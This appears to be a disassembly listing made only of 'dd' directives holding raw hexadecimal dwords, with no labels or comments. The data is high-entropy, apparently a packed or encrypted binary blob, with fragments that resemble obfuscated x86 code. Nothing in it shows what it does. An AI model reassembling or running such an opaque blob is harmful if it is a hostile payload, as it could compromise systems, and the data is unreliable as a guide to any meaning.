		dd 55077435h, 22DA1201h, 0EF785B69h, 466F9CD8h,	0D7433E6Ch
		dd 43B8A426h, 446F9070h, 8F4E6576h, 0E136BDCEh,	0D7C03CC1h
		dd 0C05D2CF2h, 0C2F0DB70h, 21EF8A50h, 492A45E0h, 0B09B7654h
		dd 3BBEB57Ah, 4DFC6A6Ah, 7A8h, 79BAC790h, 0C7040553h, 0CCFB8EDh
		dd 0D6157426h, 12D1ACFCh, 0E1B17417h, 26755F9Ch, 0D88CA665h
		dd 15446EADh, 0DC1FAB68h, 0E7BA779h, 0ED99606Ah, 7CE895C4h
		dd 39F885D4h, 0A043DD78h, 0E7CC635Ch, 0C1A447D5h, 41BDEC22h
		dd 39D6E13h, 0F0AAF44Ch, 0ACED2E05h, 0D3B648EDh, 7A51635Ch
		dd 0A3826648h, 71710DD6h, 0B2000001h, 0FB87B0C1h, 350786B8h
		dd 9CD3B6C7h, 5899B2CFh, 0F06FA6FDh, 0D84C6768h, 8D11DFFh
		dd 0A241246Ah, 2AA60AEEh, 146F907h, 0C40F0000h,	0BF7CE895h
		dd 8AB8C595h, 0C90A7726h, 0FF3EF491h, 0F099435Ah, 7DE9C268h
		dd 8BDC05Ah, 0FDE4816Ah, 2AB96345h, 0FBAD8707h,	9225F0Fh
		dd 43293Bh, 0B6DF0000h,	79DC1DD3h, 68F0A58Ah, 0C15FFA3Bh
		dd 4E6A08A9h, 5FCBB6E4h, 0E2765D76h, 8AA37C5h, 755F1E6Ah
		dd 8B685A27h, 0C9181858h, 0F0DA072Ah, 624BDFA2h, 0A74250h
		dd 0C0810000h, 8A59B65h, 6D5F746Ah, 0E895C49Fh,	0C395BF7Ch
		dd 88D87446h, 4A1E34F5h, 0B893EEBEh, 0A537052Ch, 0B7235C0Dh
		dd 0FE3D4E1Fh, 5C9BB65Bh, 98E5B463h, 0A866035Bh, 74154369h
		dd 0EAC08146h, 7F56C2BFh, 33DB6E4Dh, 81AA68EEh,	59720140h
		dd 963E6EF2h, 63339FADh, 0A7F7DD1Eh, 0BD2910DAh, 6CFA789Ah
		dd 643DDh, 592A7D00h, 9BE6B09Ah, 5A277258h, 98E1B399h
		dd 5C21715Bh, 34F99A9Fh, 0F0DA1964h, 371DDEA3h,	0CFE52663h
		dd 9A2EED9Eh, 7D22FC59h, 14ED6A0Eh, 0E994C460h,	2F520228h
		dd 65A092BBh, 0AE6D1E4Fh, 4BEEAFDAh, 635C9FB5h,	56C2BFEDh
		dd 73416A7Fh, 69FD8EDFh, 0F255D9AAh, 2FDCADFFh,	7ED4CC67h
		dd 0E3CA5E2Bh, 0D22C7DD1h, 456CF881h, 429EAD6Eh, 6A000000h
		dd 3021DCAFh, 0F6621F4Bh, 74C22CDFh, 6BC61F2Dh,	45844A2Fh
		dd 1EE04504h, 0E9635CD9h, 98D3F0C2h, 0F568EB23h, 6D4708DEh
		dd 0F3DA4E3Bh, 40C818C1h, 8B2EEF25h, 6F9CF1BFh,	0C31E7CCh
		dd 5Fh,	0D085AFF8h, 380A23B7h, 8C4D83E6h, 0D0B1E7CDh, 7C5F6D44h
		dd 68F09FE9h, 64520370h, 3AC82919h, 0A4301B08h,	7D832667h
		dd 356A08ACh, 0A58C1865h, 0FF5A9BB0h, 6A08AC21h, 0D4F7C5EEh
		dd 0C6C8D47Fh, 0D8689B7Eh, 13B677BDh, 6F9C9C54h, 0EAD91A31h
		dd 0C1h, 31CF6A2Bh, 0DE70B4A4h,	0AF35C7F5h, 3EAAD785h
		dd 9EFB2517h, 0D1FA87D1h, 0CE6B3A10h, 0CE3ECDF9h, 0E2765D01h
		dd 9B3EF9CBh, 68EB2CCAh, 145594BFh, 1FBDE867h, 3411E80Ah
		dd 6A0F4BEAh, 0A53C0E25h, 8D4E667Ah, 0E45C9FEh,	4F7D33CEh
		dd 7B7D35ACh, 0BF07245Fh
		dd 17C55BFEh, 69426A0Fh, 4C495Bh, 0B6BF0000h, 79DC1DD3h
		dd 68EAE9F3h, 0F728B79Ch, 0BD24C3EBh, 2505A385h, 309207h
		dd 0B6640000h, 0B2CF9CD3h, 6EFD5899h, 1F68EAEAh, 196AAB34h
		dd 0A50D4B4Ah, 0CC0F8ED2h, 88B917E4h, 784891A3h, 28689B7Ch
		dd 724DB48h, 143Fh, 85AFC900h, 821B5D6h, 9456193Ah, 0BA09635Ch
		dd 0FFFFFEEDh, 0F7D3B64Eh, 5C9FCC52h, 9C3CDD63h, 89857217h
		dd 5D9CB79Ch, 0EB2B7FF8h, 0E2B14268h, 0D5B6A5EEh, 96377571h
		dd 0F7DCE14Fh, 0F79248DCh, 0D5DF839h, 7E6F9D90h, 7E1BC155h
		dd 0A7D471B0h, 0CE764F5Eh, 5FCBB6E4h, 0E1E7399Ch, 0B207772h
		dd 0A7DA8A20h, 3B281A33h, 0ADFBD110h, 22471FDCh, 0C3882DECh
		dd 0C67D012Ch, 52062CEDh, 0BE51F437h, 0B0F63E14h, 0D6491DE1h
		dd 4B5AAD73h, 5A715A16h, 0C998B271h, 9FFA20B4h,	0D0FB86D0h
		dd 51A9B411h, 0CFE41BDFh, 0BF6915Bh, 38FB84D5h,	0AF3B4612h
		dd 0A4305107h, 0CC22146h, 0C4EE2D58h, 59247490h, 5BCFE4CDh
		dd 90F53C86h, 42E7B371h, 55C1EEEAh, 0A6654E7Ah,	11D7B6D2h
		dd 37C2D85h, 0BF61197h,	0ECD8C6A7h, 0E44F2F56h,	238FC864h
		dd 96457DD0h, 5547EBDh,	0A938E778h, 3C684281h, 79ED90C0h
		dd 0C6EF7B50h, 36EC17F4h, 0E8CC1A67h, 0B21742BEh, 373D530Eh
		dd 183318DEh, 0E5A6F3D9h, 9C6245D7h, 0B6635CB9h, 0F889DFF5h
		dd 4BA29CAh, 0DEF43752h, 4C6BFF8Ah, 635CB9ADh, 50E89B5Ah
		dd 0D2F9B6Ch, 0FEE50634h, 2AE994C0h, 5CD1348Fh,	64476F63h
		dd 530DD665h, 0FFFFFF7Dh, 0E895C4A5h, 2F50012Bh, 364B1AB0h
		dd 0A45FBAA9h, 94423F6Eh, 0D6D32E32h, 55250Dh, 0B6D30000h
		dd 9DDC1DD3h, 0B87FE4B7h, 4A02DF42h, 3F1682A9h,	811A2E0Dh
		dd 0FCBD68EBh, 0F04C759h, 0C16B406Ah, 0CFDCEE93h, 1DA47BE4h
		dd 8030D336h, 0C4EE2FE5h, 58A60394h, 0B76A0F05h, 0A23B79Ch
		dd 0E5AFF38h, 0A96F9D4Fh, 3EAAD783h, 1D362517h,	1FF6CBh
		dd 0B6020000h, 79DC1DD3h, 68EAE9F1h, 0F926B992h, 0E100E7E7h
		dd 3FFE3451h, 9CB7CE9Ah, 4096BD6Fh, 3095C43Ah, 7EBC9A8Bh
		dd 7EEAC192h, 40C197BDh, 786053B3h, 3B0971A6h, 8645C697h
		dd 0B475BBDEh, 0F14B8E11h, 0C0547F68h, 97115E7h, 577D3C6Ah
		dd 0BB920603h, 0D2776A89h, 0E5D7AAF8h, 2A05E5CBh, 33DC07h
		dd 0AF2A0000h, 99ABD485h, 2DEC2247h, 0F0A65988h, 6DD3A068h
		dd 705F5AE2h, 0EF455664h, 7059CDBEh, 12E8CF5Bh,	336A095Ch
		dd 0F1F7AB56h, 0E0072A16h, 0E5h, 0E895C416h, 0F984D47Ch
		dd 0EB94C56Dh, 0C596BC7Fh, 8BDA7644h, 0CF9035F6h, 0D635CA3h
		dd 186CFB5Ch, 826F9DABh, 12B6AA9h, 0B71B2952h, 0EB31A5E6h
		dd 2481408Eh, 68F0D6D5h, 9BDA1B30h, 8D6E03Eh, 0D4D8C96Ah
		dd 0A5508E13h, 36689BB0h, 54A641C4h, 0F6AE6B59h, 0B69C5D93h
		dd 6EA99BE6h, 9A9476CBh, 0E1200B6Fh, 5A0E1A0h, 70B7D9FBh
		dd 41A3F14h, 370B7DAh, 0A8D18228h, 1B66369Ah, 0E3B399D8h
		dd 11230A9Eh, 5A90EDBDh, 736F5579h, 9D01B026h, 9B000001h
		dd 567CBFCCh, 0E8C20100h, 2903C0BDh, 0EFC5067Bh, 401C2BFh
		dd 8FF2A267h, 5435664Ch, 9CE9BD97h, 5B24755Fh, 4AEF2C98h
		dd 6A0E81B4h, 0AFDEAA53h, 0F40AAFEEh, 13635C9Fh, 0A0031D38h
		dd 2FEA635Ch, 36644CD8h, 9BA98297h, 0D91A6737h,	1AD9A2F3h
		dd 1DD3B66Eh, 0E6A3F6DCh, 4BB613D4h, 7A68F0A6h,	18E2C551h
		dd 396A08ABh, 0BEDA55Ch, 0FA072AC8h, 0D6h, 3B401339h, 46B486AFh
		dd 0B6D385AFh, 4792884h, 0C8B9EFC5h, 0DD493062h, 0FC54C6F4h
		dd 6245D1ACh, 635CA2DDh, 0FA394213h, 68FC81D0h,	0ABD481ABh
		dd 0FA24163Fh, 3590519Fh, 68F0AFE6h, 8ECF0C27h,	2DC5EAFDh
		dd 586A9D81h, 0EC2DE386h, 95C6ECADh, 7E4FD1F4h,	0C96C6A09h
		dd 6A097E37h, 0C5EEFBD0h, 29E81A36h, 331ADCEh, 9B008620h
		dd 2BEAC16Fh, 0ED2C5101h, 63F794C7h, 97BD784Ah,	5D70BAC7h
		dd 36736FE8h, 9E11A0h, 0CD9A0000h, 3557FBCh, 0BAEFC506h
		dd 72200AC9h, 0B6E6CC0Fh, 6E0D08CBh, 75B6CB9Bh,	0BC7F0C5Fh
		dd 8447C296h, 4182FFAEh, 8D9336F5h, 7A6A0E83h, 0DCAFF783h
		dd 0A719DD3Eh, 0D67A4889h, 1238FB86h, 0BEFF3E43h, 5D6C051Bh
		dd 1B290263h, 95C4AADEh, 85D47CE8h, 40113BF8h, 9C5E57E7h
		dd 0AD863275h, 6815446Eh, 2E30DBFCh, 0CF0C11CAh, 5CC8B5E5h
		dd 0CFE4A1F4h, 2DE31EFDh, 0EAC0037Ch, 0FA52C6BBh, 8F45D1A8h
		dd 6A3BF9E8h, 3491D011h, 0B4EFF3EAh, 0F93C0E25h, 6DF982D3h
		dd 3DCh, 80762800h, 62F693C4h, 72E69BCAh, 67F38EDAh, 7BEF9CCFh
		dd 6AFE83D3h, 7BEF92C2h, 6CF881D3h, 60F491C4h, 77E39EC8h
		dd 0A9868A2h, 14890000h, 35696824h, 4890000h, 0E3895324h
		dd 4C381h, 0EB830000h, 241C8704h, 241C895Ch, 16BD5557h
		dd 0BF01F624h, 60CB2575h, 0C15DEF01h, 0DFF704E7h, 0DFF7DFF7h
		dd 6862C781h, 0F88932C6h, 1C8B545Fh, 4C48124h, 81000000h
		dd 4ECh, 24148900h, 8BAh, 89DA0100h, 34FF5A02h,	0C4835B24h
		dd 24048B04h, 5E08950h,	4, 405h, 24048700h, 6037E95Ch
		dd 0E895FFFBh, 0E421B838h, 0C50306B1h, 0CC0FE0FFh, 0ACAA4301h
		dd 0C1361878h, 5C4770C2h, 812F17F3h, 77114F24h,	69A513D4h
		dd 51594F97h, 0C367045Ch, 232D5452h, 80201C35h,	7CE53B12h
		dd 428A33F1h, 0F760688Fh, 1A431668h, 0C2E05A37h, 0CC150021h
		dd 82DA6FAEh, 36B12005h, 44E81E9Ch, 85742CF9h, 23E90AD4h
		dd 3F000000h, 1A20CFh, 7 dup(0)
		dd 92E90000h, 71000005h, 17A7669Eh, 0B303C2FAh,	0D060A15Dh
		dd 8D3DFC38h, 1A67A65Eh, 8945A4E3h, 0D60EF848h,	934BA717h
		dd 0CD09E252h, 0A714450Ch, 0E8E15071h, 0E24899BEh, 9B932F09h
		dd 0C85AD9C6h, 5FA24F28h, 5E74F871h, 7B171ADh, 5DED2CE8h
		dd 13A370ACh, 53893AFFh, 98EF9335h, 0F05A9AB4h,	0DC0DBB79h
		dd 0B956E020h, 0AF8FBD7Dh, 0B16D9EC3h, 4352C862h, 0E121DD0Eh
		dd 0FF1F634Bh, 0B8E92AA3h, 0A6065AE9h, 674BEF92h, 0FA32DEEEh
		dd 0AF678B3Bh, 0F72FD96Fh, 0EB419037h, 0B526A490h, 5A78F1BDh
		dd 68DB8A2Eh, 0EF92E734h, 0ECDC5579h, 568A3900h, 0BEEF92E6h
		dd 0F05A9A52h, 24E5CBE7h, 46A77394h, 0CAE44E8Eh, 0E666BF0Ah
		dd 3212EF92h, 3EBA56h, 7A32C0BBh, 0BE000000h, 7F6DAD5Eh
		dd 32D8747h, 362076C3h,	0F4D4EF93h, 4FF87C98h, 1F0C0BBh
		dd 7C000000h, 75DEEBFh,	54EF9336h, 64A04A78h, 0B7870EA4h
		dd 0D462A25Ah, 893FFF37h, 0D365A561h, 0F640803Ch, 0AA1CDC18h
		dd 0C96B8A42h, 4794E29Dh, 26D5A226h, 0F29EBE08h, 598A42AFh
		dd 14BF52F3h, 0A03B88BDh, 181830E5h, 22E16831h,	4CA17992h
		dd 8FA15D8Ch, 902372A1h, 0EF92723Ch, 0E724AD81h, 77AF5EEBh
		dd 2CEC01B7h, 6AC000BCh, 0B0E18444h, 0EF2FE700h, 82EECC45h
		dd 3E830DFh, 9424E5CBh,	0C268BB73h, 3A610C13h, 9E4C7EF7h
		dd 9B2DEF66h, 8B43A575h, 0FCFE14Bh, 0A544F423h,	8A03A969h
		dd 0B420BCA8h, 0DCC0BBC0h, 6Ah,	904CBD0Dh, 0AF5E9519h
		dd 0EB01B777h, 0E1C1F333h, 0FD39D085h, 98CC7F2Eh, 0E5EF9335h
		dd 0D28340C9h, 0DF568E62h, 4C400EFh, 62A25AB2h,	0E2FE6A4Eh
		dd 0C0BB4976h, 589Ah, 0FBF1600h, 9FAF26DEh, 0A6FA4970h
		dd 0EBEF9335h, 9F29E9C7h, 537BBB73h, 4FBEE38Fh,	0A6154497h
		dd 0EF933572h, 0D91A93BFh, 3BEB2288h, 0DE97DA9h, 0B15E0884h
		dd 0C900B575h, 0AFEF9335h, 329DD67Ch, 5FBF5DEFh, 86AEDFEEh
		dd 32BB3627h, 1C987410h, 14C0BB8Ah, 1, 89B05E98h, 9335E63Ah
		dd 29072BEFh, 0E20EBEE9h, 0C940EA2Ah, 14D410F9h, 7A9149A2h
		dd 1AAC6C42h, 0E4083AF2h, 2F8DE828h, 3210243h, 3CDC3267h
		dd 6A2D12D0h, 91FC056Fh, 355091BFh, 19489BF1h, 9E0AE248h
		dd 3E74388h, 92BCDE32h,	0FB0923EFh, 0B80F4DD7h,	0D059715Fh
		dd 0B8929A1Fh, 9D6C5FD6h, 22E52EFBh, 8F78CE0Eh,	0C5269657h
		dd 267CC909h, 0D0F63F22h, 6CDC600Ch, 2882427Ah,	0A07891A1h
		dd 0E44E8E46h, 52BB0BCAh, 0FBEC5A9Ah, 54B503C3h, 0FDEE5898h
		dd 133301C1h, 7DDF3E77h, 639B4C11h, 5B2FABA2h, 742539EFh
		dd 0A9000001h, 75DEEBFh, 6BEF9336h, 9FAB76E1h, 0C8E4F3E5h
		dd 5CD511FAh, 0C4177DB9h, 2177C495h, 6EEF92C1h,	0F1F8CB42h
		dd 7EE52EACh, 0C3249252h, 917ACA0Bh, 0E462A253h, 507E0C3Eh
		dd 0FC52690h, 57411733h, 0C9092716h, 0DE620EACh, 9CC2CA74h
		dd 0C54C423Ch, 19D814F5h, 0EF9B9410h, 579C39h, 8B100000h
		dd 19D53A4Ch, 2157E437h, 2E6F9336h, 2595C202h, 0C0FC13C7h
		dd 5467EEh, 686F9336h, 3E884884h, 0C82210CCh, 677440Ah
		dd 2B051279h, 402C8EEBh, 0DF8BAB01h, 63B90A5Bh,	0A86F9293h
		dd 2FE80D84h, 0F259645h, 1CEF9294h, 0C606BE2Ch,	0C983426Ch
		dd 0BFh, 254F8BC3h, 286845F6h, 0C5F5E52Fh, 0FAC4EC28h
		dd 0D7798CFFh, 34845779h, 2EE600D8h, 0AA6A44EEh, 0FD4B8900h
		dd 0A111D00Ch, 0E5F8C48h, 3FCC67BDh, 427A91F6h,	32F07955h
		dd 3FCB4C87h, 9F57B4F6h, 0CB03E95Fh, 6D19390Bh,	28449834h
		dd 8B589475h, 8FD90921h, 0DB08C448h, 3FE03468h,	0DC5579F6h
		dd 11FE4E1Fh, 0DF459B28h, 0A68AF63Fh, 6BE24888h, 0F3204A8Eh
		dd 0AC43F3A2h, 0E00B4170h, 7A50F63Fh, 2BBC76F6h, 0C85AB26h
		dd 0CD59EC3Fh, 0DD1D31EBh, 994A826Bh, 1E6E4833h, 881B8F5h
		dd 234F6DCAh, 0EF196FABh, 735DF737h, 0C8C013A0h, 3D0DF27Fh
		dd 0A5EEDCCh, 5703A3D3h, 3F95557Bh, 8BDCD011h, 46F6254Fh
		dd 35E46DA9h, 21105586h, 0BC0F5EE5h, 0F6451A68h, 51099B5h
		dd 0EBEE929h, 10CC3CDCh, 0DD547AD0h, 1C0FCEDh, 5C9C58B1h
		dd 0B23760E9h, 0C0AC8CF9h, 71B06C9Dh, 2CEC28C1h, 69BA729Ah
		dd 3E558B38h, 0ED5E12D6h, 12D63EB7h, 133F2804h,	3F1D73C0h
		dd 4E6212D6h, 73A205C7h, 4C8346D9h, 0E9653B13h,	0E791B9C4h
		dd 1C3EB78Fh, 0BC2D70h,	5C9871C1h, 3D09Ch, 0DA0000h, 7BB35E72h
		dd 20DC0DBBh, 2BA56E0h,	5A9274C2h, 1BD2C9Ah, 5C9877C1h
		dd 0AC22A9Ch, 568E7CCAh, 13CB2096h, 8952DDD3h, 49B951E2h
		dd 0C17B641Fh, 0E18105E1h, 43A44F26h, 0F749D9F7h, 0E3C181D9h
		dd 1BF7FB6h, 0EA8359CAh, 24148704h, 1CA1685Ch, 2C890000h
		dd 0E2895224h, 4C281h, 0EA830000h, 24148704h, 2434895Ch
		dd 6226857h, 3C8B0A29h,	4C48324h, 0C781D7F7h, 10DAEB52h
		dd 685FFD89h, 4296h, 83242489h,	5E042404h, 0B3BA5251h
		dd 817A3854h, 641E97C2h, 44EA817Ah, 426B751Ch, 0FEEA814Ah
		dd 89892756h, 0F1015AD1h, 0FF592989h, 835E2434h, 34FF04C4h
		dd 0C4835D24h, 936EE904h, 0C3F9FFFAh, 0C3DACFF8h, 7A9B3493h
		dd 9148591Ch, 0EA16B85Ah, 0C50306B1h, 40DDE0FFh, 9B2B7046h
		dd 4B911ADCh, 97DB08D9h, 0A3496434h, 93E754FDh,	0C44A794Ch
		dd 0A4734957h, 0D26035FBh, 0CB92705Dh, 65CA20A1h, 194E6F84h
		dd 0BDDE7B73h, 41522F8Ch, 6E817CFBh, 3A263A7Dh,	40AB0EF3h
		dd 8D8D032Bh, 6B1EBEDh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 45C35141h, 4282AA23h,	0BAF0A43h, 0D08B664Fh
		dd 2F0D8D89h, 6A06ACh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 1D28AAC3h, 0FA325E5h, 0C8Ah, 68D0F00h
		dd 8B000000h, 0AC068585h, 850F06h, 0C7000000h, 0AC1E0585h
		dd 67E006h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0BD8B60B3h, 6AC0A8Dh, 1EC18D8Bh
		dd 0F96106ACh, 3870Fh, 8B660000h, 0F185C7D6h, 6AC27h, 66000000h
		dd 0B5FFC28Bh, 6AC271Dh, 5E8h, 39D4F300h, 0DC80690Ch, 95FF5A94h
		dd 6AC0BF9h, 3CE0E881h,	6A70DAh, 214595FFh, 0C08B06ACh
		dd 99A2EEBh, 6823E32Fh,	0BD6F34B7h, 0DCEE8650h,	2BD66547h
		dd 4EF65D10h, 0D725D152h, 2C70779Ch, 68FE5045h,	0DF923F08h
		dd 0B98E06BEh, 933055A7h, 35E9h, 96F9BA00h, 5Dh, 0Bh dup(0)
		dd 0EDE90000h, 6800000Bh, 6B1EDF4h, 0FB5870E9h,	0EECD68FFh
		dd 66E906B1h, 68FFFB58h, 6B1F090h, 0FB585CE9h, 0F15368FFh
		dd 52E906B1h, 68FFFB58h, 6B1F41Ah, 0FB5848E9h, 0F5ED68FFh
		dd 3EE906B1h, 68FFFB58h, 6B1F6CBh, 0FB5834E9h, 553661FFh
		dd 9FEABC96h, 6623765Ch, 0ACDD8FA5h, 6815456Fh,	78CDAEABh
		dd 0BC965528h, 7B5192EFh, 0BB91522Fh, 0E65291EAh, 8C7E8025h
		dd 70896A0Eh, 0E895C404h, 0F885D47Ch, 0C806633Bh, 8712309h
		dd 4087B59Ch, 0F0999AE5h, 0C095BF68h, 0C8FAD347h, 4364F0DBh
		dd 6A08BEB9h, 4A06FD98h, 72AB866h, 2A5Dh, 0E1B49E00h, 9C087525h
		dd 5EAC9EB5h, 0DC1DD3B6h, 0F0A58A79h, 84103B68h, 8AA59A3h
		dd 0E61D786Ah, 2AC8C6AAh, 0FBBD07h, 0AF4B0000h,	22B6D385h
		dd 1C31F80Bh, 92E40D5Ah, 205D0CA0h, 0E398CBE1h,	0BBEB43D1h
		dd 0BB9152C6h, 20099DEEh, 92EFBE12h, 82FFAE06h,	463B6943h
		dd 0CC9FBD2h, 5536674Dh, 42D94467h, 9ACB635Dh, 4550AE0Bh
		dd 94BF635Dh, 0C0D7EBFh, 82A2E7E2h, 0C4EE2B19h,	0BF7CE895h
		dd 0D246C395h, 7217C9FBh, 5577DBCh, 54F13604h, 68F1854Dh
		dd 42DC79B8h, 0CD6A0986h, 560ECDE6h, 5D142533h,	0FFBBD0DFh
		dd 0EB015D4h, 0ED6F9AFDh, 237595C7h, 0F0DBF266h, 2D7BD1C2h
		dd 0CAE1C85Ch, 0AE0B4A0Bh, 70B84250h, 846CF59h,	2134B40Bh
		dd 0C494380Ah, 95AD5261h, 6B404EAFh, 0AFD282A8h, 6F598165h
		dd 0BD0C9A73h, 9C5h, 0D91A6730h, 27E4A5F3h, 0EC2F580Dh
		dd 36F594C6h, 0F2314C1Ch, 15194F7h, 0C695BF7Ch,	0F8AC8645h
		dd 35644E8Dh, 0FC3F8B48h, 0E8CC759h, 0CDB9406Ah, 2AE994C4h
		dd 0EF2C5100h, 1DD3B69Bh, 0A58A79DCh, 103B68F0h, 0AA59A384h
		dd 1D786A08h, 63043E6h,	0DF65C12Eh, 9E82AC9Eh, 95072A70h
		dd 0B9h, 0E895C463h, 0F984D47Ch, 0DDAE6Dh, 0F4F7320h, 8AB596A4h
		dd 4635D76h, 0C1EB2855h, 0A17BEF90h, 6ACF0EC4h,	68F17F17h
		dd 6F1CDDF6h, 46631954h, 4A8FBDB5h, 78B97712h, 9A8A0CDDh
		dd 97567D6Fh, 0B0AD73D6h, 0B5E570B7h, 60755CC8h, 0B0FA04A1h
		dd 3E1570B7h, 0A1E02715h, 0B0BB45E0h, 7F5470B7h, 4DB1E14Dh
		dd 0D1F86C19h, 431339FAh, 5A1AF43Eh, 65F3736Fh,	8ECD4h
		dd 2D5E0900h, 0F792C4EEh, 3E4B1E34h, 8485D7FDh,	403D6D47h
		dd 20E58683h, 0E4CE0D70h, 2309CAB7h, 0E3C90A77h, 0BE0AC9B2h
		dd 8E46D87Dh, 38C16A0Eh, 0E994C44Ch, 2C51002Ah,	0EA97C7EDh
		dd 0A065577Eh, 0E895C4D4h, 7985D47Ch, 0ECC5512Ah, 7F2C06C7h
		dd 50587BDAh, 8CA7330Ch, 0C6033118h, 0F435FB9Eh, 0B2CF9FB5h
		dd 5D178997h, 9FAD8663h, 61331958h, 97A58C18h, 0F1128DB4h
		dd 4612B868h, 2C84103Bh, 0ACD1817Dh, 1E355406h,	0DBA4F5DFh
		dd 57062CE9h, 0FAAEB2Ah, 6A0933F1h, 9507351Eh, 85114EB2h
		dd 0EF92C2DAh, 0F982D37Bh, 0F790C56Dh, 0D2917017h, 9C52B156h
		dd 5973B0CDh, 20E37708h, 5D5AC753h, 0EA8E7D0Eh,	2311C9h
		dd 0FD8CA4F9h, 0DA8BA1E0h, 0EF1C35A1h, 86DCD797h, 0F81B29C0h
		dd 0E19ACB09h, 21580A20h, 6BAE9CB5h, 0FB6F1041h, 4CBC73DCh
		dd 548F6A5Ah, 71B2CF9Eh, 0B0710A5Bh, 0FA588DC3h, 5D6F9B80h
		dd 0B27015CFh, 967BD673h, 0E1CA0320h, 3AC46120h, 0D50438F8h
		dd 5109CCFEh, 7E3FFE34h, 487A0754h, 0CCF6306Bh,	0A2361D09h
		dd 0E4F97685h, 6B18590Ah, 49541727h, 839DBA50h,	0A5A99162h
		dd 394410BAh, 50F9E80Bh, 2BF55011h, 0E40AE501h,	114EACFh
		dd 0D8F30AE5h, 39CA722Bh, 7341E7FEh, 4EB55B5Dh,	44C4A66h
		dd 0B1BC0000h, 0A46A0F8Bh, 5E0E2465h, 0DF321123h, 0EE68F06Ch
		dd 7F2E04C5h, 4BE03002h, 0A5B90148h, 66A76D08h,	6C9190C3h
		dd 42D6FD4Ch, 0F637FD98h, 9247C4B7h, 66BB8DA0h,	16FC02A7h
		dd 200B4D85h, 0EC243112h, 0E255318h, 0CBB4E5CFh, 0E732208h
		dd 0E0F91CC4h, 0CE7FE98Eh, 729h, 0C5060354h, 0BC8B9EFh
		dd 0C80B7421h, 0AC9B0E2h, 0CE0D7020h, 3565A8CBh, 0F2A18B48h
		dd 34604A89h, 0F1A08A49h, 38FB4F8Ch, 0E90839Dh,	1758C6Ah
		dd 7CE895C4h, 478481D4h, 0B674h, 0D0B68000h, 4A508F10h
		dd 0E29E45A2h, 0DD6D6FEh, 5BF5h, 0DCAF0300h, 6E435770h
		dd 69B785C6h, 0A104C50Fh, 635CDA5Ah, 6B4180ABh,	0F1D84C3Dh
		dd 0B89251C3h, 2C0591ECh, 9EE3B21Eh, 6526775Dh,	0BE40E5A4h
		dd 49635CD9h, 1C25062h,	3200792Bh, 7ABB89ECh, 0F0C794DFh
		dd 4EDAF168h, 530FF297h, 72A904Dh, 744h, 0F2DDB200h, 29000000h
		dd 0DC1DD3B6h, 0F0803E79h, 2EE4CF68h, 78986CECh, 6612A335h
		dd 97000006h, 0AA8043C0h, 644E8DFCh, 0BD975431h, 7B5192EFh
		dd 9095562Bh, 136E3EF3h, 0D0A9FAD0h, 106D3913h,	0D7A8F9D3h
		dd 0C663A014h, 6A0E9138h, 0B65A2ED7h, 508F10D0h, 4C396D7Bh
		dd 582570D8h, 36AD4ACCh, 0B72ACD79h, 0D6D2F5FBh, 66EC0Dh
		dd 0B61A0000h, 0BBC491D0h, 0BC297B48h, 2BD5C0h,	4D69409Fh
		dd 0D39237AAh, 5D30A876h, 0E64C6763h, 0CAE4D6B3h, 0DD641E6h
		dd 3BDDh, 0D0B62B00h, 82ED47C8h, 5CD0D927h, 0EE1D3663h
		dd 0AD86EA19h, 1F97ED32h, 0E6A3F6DCh, 8A695B72h, 16B3F257h
		dd 635CCF08h, 3D1E2C07h, 635CD6E0h, 0A034371Fh,	0C7230DD6h
		dd 0D5FFFFFEh, 8F10D0B6h, 0BD5A5250h, 4790E346h, 6D3200CEh
		dd 0B749EC2Dh, 50635D70h, 8167497Bh, 700DD602h,	256h, 0E994C486h
		dd 0FA87D57Dh, 7090C66Eh, 0E3775C21h, 0F86C1D4Bh, 954BB653h
		dd 1490BBC4h, 0EBE596D7h, 8FA81CD0h, 6B8896B3h,	4687635Dh
		dd 5D6B1DE3h, 0EAC1EA63h, 0AC83BD8h, 0CEE4275Ah, 52AC099Eh
		dd 0BD635D6Bh, 0F329BD96h, 3C995896h, 68F16479h, 433E6A40h
		dd 0DD496271h, 53917017h, 97BD7E03h, 0ED2EBAC7h, 444A8F9Eh
		dd 0B6772A44h, 9060D13h, 0E3D1FA6Ah, 9053AC0h, 433E6A6Ah
		dd 5C2D7FD7h, 7E6502C8h, 9E4520C1h, 8E4D3060h, 5C08F4A4h
		dd 449E0A21h, 8722E321h, 6F9CF1C0h, 8CE56A19h, 5ADAC512h
		dd 93507B68h, 0B1E1AECBh, 5A7158CCh, 0C133E9Bh,	19327649h
		dd 6E54AA8Dh, 22477761h, 10406ABFh, 0E2D0F96Dh,	4A8B593Ch
		dd 0F53D44EFh, 0EAC0017Ch, 7059CDBCh, 0D9ECB55h, 9C6F447Eh
		dd 0E258ED7Fh, 0E5260DF8h, 9BCFE5A4h, 76537AEEh, 7E0CDEA8h
		dd 0D27E4C67h, 0C26AFE83h, 752DEE93h, 0B613D210h, 83A0D8E7h
		dd 0BE990D26h, 84B8FE5Ch, 0A1E10065h, 0EC7A78BFh, 79872263h
		dd 9684B8F6h, 609D8FBDh, 5E000000h, 8FD92574h, 19EBD9F2h
		dd 1461DCAFh, 27A63652h, 5D027C82h, 8BA08B63h, 0CC0267B9h
		dd 839A80Dh, 14068F1h, 90C5AA4h, 4F1FB56Ah, 0A48FA632h
		dd 3AAE8596h, 31DB8F9h,	0C6A090Ch, 0E4361527h, 0ED6A090Bh
		dd 0ABD686ACh, 96FECE3Fh, 11373E35h, 0F8EB083Ah, 29D7B8B8h
		dd 0B5AF07h, 0C4590000h, 0D47CE895h, 7938F984h,	5CA042DCh
		dd 0D4E6CD63h, 61C48546h, 635C9F9Fh, 0DD714368h, 0CF67F38Ch
		dd 6F2EED9Eh, 0E3771045h, 64DBF8CAh, 5E635CA3h,	0E9B1720Fh
		dd 0F091C78Ch, 0A7664D64h, 6ACD98Dh, 96BF2B56h,	83C663A4h
		dd 268EE1Dh, 92C2E829h,	476D2CEFh, 0E8447613h, 0C30FC5B8h
		dd 18789AEEh, 39F3F8Eh,	89DE0000h, 47113BF8h, 86D3F93Ah
		dd 3E6C4685h, 0FAAA8043h, 22414487h, 1C2BFEFh, 0C003782Bh
		dd 0C3BEEAh, 0C5067B2Ah, 917B271h, 66A0E94h, 94C48BFFh
		dd 0C55B28E9h, 5BA500DCh, 0B4635CC0h
